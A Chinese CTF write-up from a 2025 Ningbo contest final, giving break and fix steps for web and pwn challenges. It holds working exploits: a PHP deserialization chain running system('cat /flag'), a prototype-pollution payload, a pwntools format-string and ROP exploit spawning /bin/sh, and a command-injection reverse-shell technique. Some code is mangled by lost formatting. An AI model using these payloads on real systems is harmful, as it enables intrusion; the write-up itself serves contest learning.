2025宁波市第八届网络安全大赛决赛Writeup
很幸运的拿到了榜一,队友太强了,AWDP玩的很少,不过这次break 和 fix都有成果。
Break 第一,Fix 第四
[web] easyUpload
break
F12检查图片,发现通过/show.php?file=img/1.png来读取
任意文件读取,flag被ban,读index.php源码
```php {title=”easyUpload源码”} <?php Class Dog { public $bone; public $meat; public $beef; public $candy; public function __invoke() { if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) { return $this->candy->flag; } }
1
2
3
4
public function __toString() {
$function = $this->bone;
return $function();
} }
CLass mouse { public $rice;
1
2
3
public function __get($key) {
@eval($this->rice);
} }
class Cat { public $fish; public function __construct() { }
1
2
3
public function __destruct() {
echo $this->fish;
} }
// 处理文件上传 $message = ‘’; $success = false; if ($_SERVER[‘REQUEST_METHOD’] === ‘POST’) { if (isset($_FILES[‘uploaded_file’])) { $uploadDir = DIR . ‘/uploads/’; $uploadedFile = $uploadDir . basename($_FILES[‘uploaded_file’][‘name’]);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) {
$message = '上传成功!';
$success = true;
$fileContent = file_get_contents($uploadedFile);
@unlink($uploadedFile);
@unserialize($fileContent);
$fileContent = "";
// 设置 session,表示上传成功
$_SESSION['upload_success'] = true;
// 重定向,防止刷新页面时重复提交表单
header("Location: " . $_SERVER['PHP_SELF']);
echo $message;
exit();
}
} } ?> <!DOCTYPE html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
反序列化,经过一个md5绕过
```php
<?php
// 启动 session
session_start();
Class Dog {
public $bone;
public $meat;
public $beef;
public $candy;
public function __invoke() {
if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
return $this->candy->flag;
}
}
public function __toString() {
$function = $this->bone;
return $function();
}
}
CLass mouse {
public $rice;
public function __get($key) {
@eval($this->rice);
}
}
class Cat {
public $fish;
public function __construct() {
}
public function __destruct() {
echo $this->fish;
}
}
$a = new Cat();
$a->fish = new Dog();
$a->fish->bone = new Dog();
$a->fish->bone->meat = 's878926199a';
$a->fish->bone->beef = 's155964671a';
$a->fish->bone->candy = new mouse();
$a->fish->bone->candy->rice = "system('cat /flag');";
echo serialize($a);
# O:3:"Cat":1:{s:4:"fish";O:3:"Dog":4:{s:4:"bone";O:3:"Dog":4:{s:4:"bone";N;s:4:"meat";s:11:"s878926199a";s:4:"beef";s:11:"s155964671a";s:5:"candy";O:5:"mouse":1:{s:4:"rice";s:20:"system('cat /flag');";}}s:4:"meat";N;s:4:"beef";N;s:5:"candy";N;}}
[web] img2base64
break
我觉得这题是最难的一题,现场也没几个人做出来
用到一些小trick
首先要绕一些字符,管道符截断,环境变量反弹shell,无密码读取文件
小明打ctf上头了,发什么消息都用编码发送,于是他搭建了一个web服务用来将图片进行base64编码,粗心的小明没有考虑安全问题,你能帮他看看吗?
平台给了源码
```python {title=”img2base64源码”} import os import re import subprocess from flask import Flask, request, render_template, jsonify
app = Flask(name)
UPLOAD_FOLDER = ‘uploads/’ if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER)
app.config[‘UPLOAD_FOLDER’] = UPLOAD_FOLDER def checkname(filename):
1
2
3
4
5
6
7
8
ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
noip = re.compile(r"\d+\.\d+")
if re.search(ILLEGAL_CHARACTERS, filename):
return False
if ".." in filename :
return False
if(noip.findall(filename)):
return False
@app.route(‘/’) def upload_form(): return render_template(‘upload.html’)
@app.route(‘/upload’, methods=[‘POST’]) def upload_file(): if ‘file’ not in request.files: return jsonify({“error”: “No file part in the request”}), 400
1
2
3
4
5
6
7
8
9
10
11
12
13
14
file = request.files['file']
if file.filename == '':
return jsonify({"error": "No file selected"}), 400
if(checkname(file.filename)==False):
return jsonify({"error": "Not hacking!"}), 500
if file:
file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
file.save(file_path)
result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
encoded_string = result.stdout.strip()
return jsonify({
"filename": file.filename,
"base64": encoded_string
})
if name == ‘main’: app.run(host=’0.0.0.0’,port=5000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
公告有提示反弹shell,那就先把反弹的命令写进文件

代码执行的是`cat {file_path} | base64`
先通过`|`截断命令,然后使用`$0`来执行 cat 输出的内容,也就是反弹shell的命令
`$0`代表本文件,`$1`代表第1个参数,以此类推。`$#`代表参数个数

监听端口

没权限读flag
`sudo -l`查看有权限的命令,然后在[GTFOBins](https://gtfobins.github.io/)查sudo语法
幸好本地部署了`GTFOBins`

不过这题队友出大力,推荐队友的一键部署环境脚本:[https://github.com/dr0n1/CTF_misc_auto_deploy](https://github.com/dr0n1/CTF_misc_auto_deploy)

# [web] genshop
## fix
太逆天了,我正在加各种过滤,结果rot-will把函数去掉就过了。
ssti的模板去掉直接过了
```python
# return render_template_string(f"<h3>{result}</h3>")
return f"<h3>{result}</h3>"
[web] Easy_shop
break
打开是一个商店购买页面
将购买数量改成负数,可以增加金钱
购买flag,得到/showflag路由
访问是一个文件读取功能,读取../app.js
```js {title=”Easy_shop源码”} const express = require(‘express’); const app = express(); const fs = require(‘fs’); const port = 3000; const bodyParser = require(‘body-parser’);
app.set(‘view engine’, ‘ejs’); app.use(express.static(‘public’)); app.use(bodyParser.urlencoded({ extended: true }));
let money = 1000; const initialMoney = 1000; let message = ‘’; const products = [ { name: ‘帽子’, price: 10 }, { name: ‘棒球’, price: 15 }, { name: ‘iphone’, price: 150 }, { name: ‘flag’, price: 1500 }, ];
app.get(‘/showflag’, (req, res) => { res.render(‘readfile’); });
app.post(‘/readfile’, (req, res) => { const fileName = req.body.fileName;
if (fileName.includes(“fl”)) { return res.status(200).send(‘你还真读flag啊’); } // 读取文件内容 fs.readFile(“/app/public/”+fileName, ‘utf8’, (err, data) => { if (err) { res.status(500).send(‘Error reading the file’); } else { res.send(data); } }); });
app.get(‘/’, (req, res) => { res.render(‘index’, { products, money, message }); });
app.get(‘/buy/:productIndex’, (req, res) => { const productIndex = req.params.productIndex; let quantity = req.query.quantity || 1; // 获取购买数量,默认为1
if (productIndex === ‘3’) {
quantity = Math.abs(quantity); // 取绝对值
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = 购买flag成功啦!给你/showflag这个路由,听说那里面有flag;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
res.render('index', { products, money, message, showAlert: true });
} else {
message = 'flag很贵的';
res.redirect('/');
} }else{
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;
// 使用 JavaScript 弹窗来显示购买成功消息
res.render('index', { products, money, message, showAlert: true });
} else {
message = '购买失败,钱不够啊老铁.';
res.redirect('/');
} } });
function copy(object1, object2) { if (typeof object1 !== ‘object’ || object1 === null || typeof object2 !== ‘object’ || object2 === null) { return; }
for (let key in object2) { if ( typeof object2[key] === ‘object’ && object2[key] !== null && typeof object1[key] === ‘object’ && object1[key] !== null ) { copy(object1[key], object2[key]); // ✅ 安全递归 } else { object1[key] = object2[key]; // ✅ 直接赋值 } } }
app.post(‘/getflag’, require(‘body-parser’).json(), function (req, res, next) {
res.type(‘html’);
const flagFilePath = ‘/flag’;
let flag = ‘’;
fs.readFile(flagFilePath, ‘utf8’, (err, data) => {
if (err) {
console.error(无法读取文件: ${flagFilePath});
} else {
flag = data; // 将文件内容赋值给flag变量
var secert = {};
var sess = req.session;
let user = {};
copy(user, req.body);
if (secert.testattack === ‘admin’) {
res.end(flag);
1
2
3
4
} else {
return res.send("no,no,no!");
}
} }); });
app.get(‘/reset’, (req, res) => { money = initialMoney; message = ‘’; res.redirect(‘/’); });
app.listen(port, () => {
console.log(Server is running on http://localhost:${port});
});
1
2
3
4
5
6
7
8
9
10
11
12
逻辑很简单,copy函数有问题,一眼Node.js原型链污染
secert 是个空对象,但它和 user 在同一作用域下,需要控制 req.body 中的内容,污染secret
```js
{
"__proto__": {
"testattack": "admin"
}
}
当时截的图:
这题刚开始没说读取../app.js,我在fuzz的时候居然读到了1.txt、2.txt、3.txt,分别是:
在一个宁静的午后,阳光透过树叶洒在地面上,斑驳陆离。小镇的街道上行人稀少,只有微风轻轻拂过树梢,带来一丝初秋的凉意。远处传来几声悠扬的钟声,仿佛提醒人们,该是泡一壶茶、慢慢享受时光的时候了
夜幕降临,城市的灯光次第亮起,仿佛点燃了沉睡的星辰。街角的咖啡店还亮着温暖的橘黄色灯光,一杯热饮静静地摆在窗边的桌上。外面车水马龙,人来人往,而屋内却是一方静谧的世界,时间在这里缓慢流淌,仿佛与喧嚣隔绝。
清晨的山间薄雾弥漫,露珠挂在草叶上,闪烁着晶莹的光。远处传来鸟鸣声,唤醒了沉睡的森林。一位背着行囊的旅人正沿着蜿蜒的小径缓缓前行,每一步都踩在湿润的土地上,带着对未知的好奇,走向尚未被书写的旅程。
出现7个一,所以我尝试读取f1111111ag,或者其他变体,都不行。或者按照早中晚的顺序,对文件名排序,312,那是不是响应码改成312响应码呢?可是没有这个响应码。直到给出hint,我才知道这个毫无用处,纯属迷惑人的。
fix
只用修读取flag的关键漏洞就行,但我顺手把增加金钱数、任意文件读取这俩洞也修了。你还真读app.js啊 : )
```js {title=”Easy_shop_fix.js”,hl_lines=[“8-10”,38,”61-63”]} app.post(‘/readfile’, (req, res) => { const fileName = req.body.fileName;
if (fileName.includes(“fl”)) { return res.status(200).send(‘你还真读flag啊’); } // 阻止读取源码 if (fileName.includes(“ap”)) { return res.status(200).send(‘你还真读app.js啊’); } // 读取文件内容 fs.readFile(“/app/public/”+fileName, ‘utf8’, (err, data) => { if (err) { res.status(500).send(‘Error reading the file’); } else { res.send(data); } }); });
app.get(‘/buy/:productIndex’, (req, res) => { const productIndex = req.params.productIndex; let quantity = req.query.quantity || 1; // 获取购买数量,默认为1
if (productIndex === ‘3’) {
quantity = Math.abs(quantity); // 取绝对值
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = 购买flag成功啦!给你/showflag这个路由,听说那里面有flag;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
res.render('index', { products, money, message, showAlert: true });
} else {
message = 'flag很贵的';
res.redirect('/');
} }else{
// 模仿上面对数量做绝对值,防止购买负数增加金钱
quantity = Math.abs(quantity); // 取绝对值
if (products[productIndex] && money >= products[productIndex].price * quantity) {
money -= products[productIndex].price * quantity;
message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;
// 使用 JavaScript 弹窗来显示购买成功消息
res.render('index', { products, money, message, showAlert: true });
} else {
message = '购买失败,钱不够啊老铁.';
res.redirect('/');
} } });
function copy(object1, object2) { if (typeof object1 !== ‘object’ || object1 === null || typeof object2 !== ‘object’ || object2 === null) { return; }
for (let key in object2) { // 过滤原型链污染常用字符串 if (key === ‘outputFunctionName’ || key === ‘proto’ || key === ‘constructor’ || key === ‘prototype’ || key === ‘return’ || key === ‘global’ || key === ‘process’ || key === ‘mainModule’ || key === ‘constructor’ || key === ‘child’ || key === ‘execSync’ || key === ‘escapeFunction’ || key === ‘client’ || key === ‘compileDebug’) { continue; }
1
2
3
4
5
6
7
8
9
10
if (
typeof object2[key] === 'object' &&
object2[key] !== null &&
typeof object1[key] === 'object' &&
object1[key] !== null
) {
copy(object1[key], object2[key]); // ✅ 安全递归
} else {
object1[key] = object2[key]; // ✅ 直接赋值
} } } ```
[pwn] Cake_shop
break
存在格式化字符串
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
def nothing(data):
p.sendlineafter(b'choice>>',b'4')
p.sendlineafter(b'happens',data)
def buy(num,data):
p.sendlineafter(b'choice>>',b'1')
p.sendlineafter(b'cake $100',str(num).encode())
p.sendlineafter(b'shop',data)
p=remote('10.1.108.15',9999)
payload=b"aaa%15$p %13$p %17$pbbb"
nothing(payload)
p.readuntil(b'aaa')
d0,d1,d2=p.readuntil(b'bbb',drop=1).split(b' ')
elf_addr=int(d1,16)
libc_addr=int(d2,16)
e=ELF("./pwn")
e.address=elf_addr-0x156a
libc=ELF('./libc.so.6')
libc.address=libc_addr-0x24083
index=3+6
a_addr=0x4010+e.address
payload="%"+str(0xe0ff)+"c%9$hn%"+str(0x10000-0xe0ff+0x5f5)+"c%10$hn"
payload=payload.ljust(24,'a').encode()
print(payload)
payload+=p64(a_addr)+p64(a_addr+2)
nothing(payload)
payload="%25600c%9$n".ljust(24,'a').encode()
payload+=p64(0x4014+e.address)
nothing(payload)
context.log_level='debug'
num=666
p.sendlineafter(b'choice>>',b'1')
p.sendlineafter(b'cake $100',str(num).encode())
canary=int(d0,16)
rdi=libc.address+0x23b6a
ret=rdi+1
bin_sh=next(libc.search('/bin/sh\x00'))
system=libc.symbols['system']
payload=b'a'*0x28+p64(canary)+p64(0xbfbfbfbf)
payload+=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
p.send(payload)
p.interactive()
fix
修改使用puts进行输出,成功修复
[pwn] stu_admin
fix
edit功能存在堆溢出,溢出了16字节
修复溢出
总结
整体难度比往年都要简单,就是搞不懂为什么check的轮次这么少,只有两轮,而且不返回check的结果
队友很厉害,不过这次也没有拖后腿,还是有Break 和 Fix成果的。







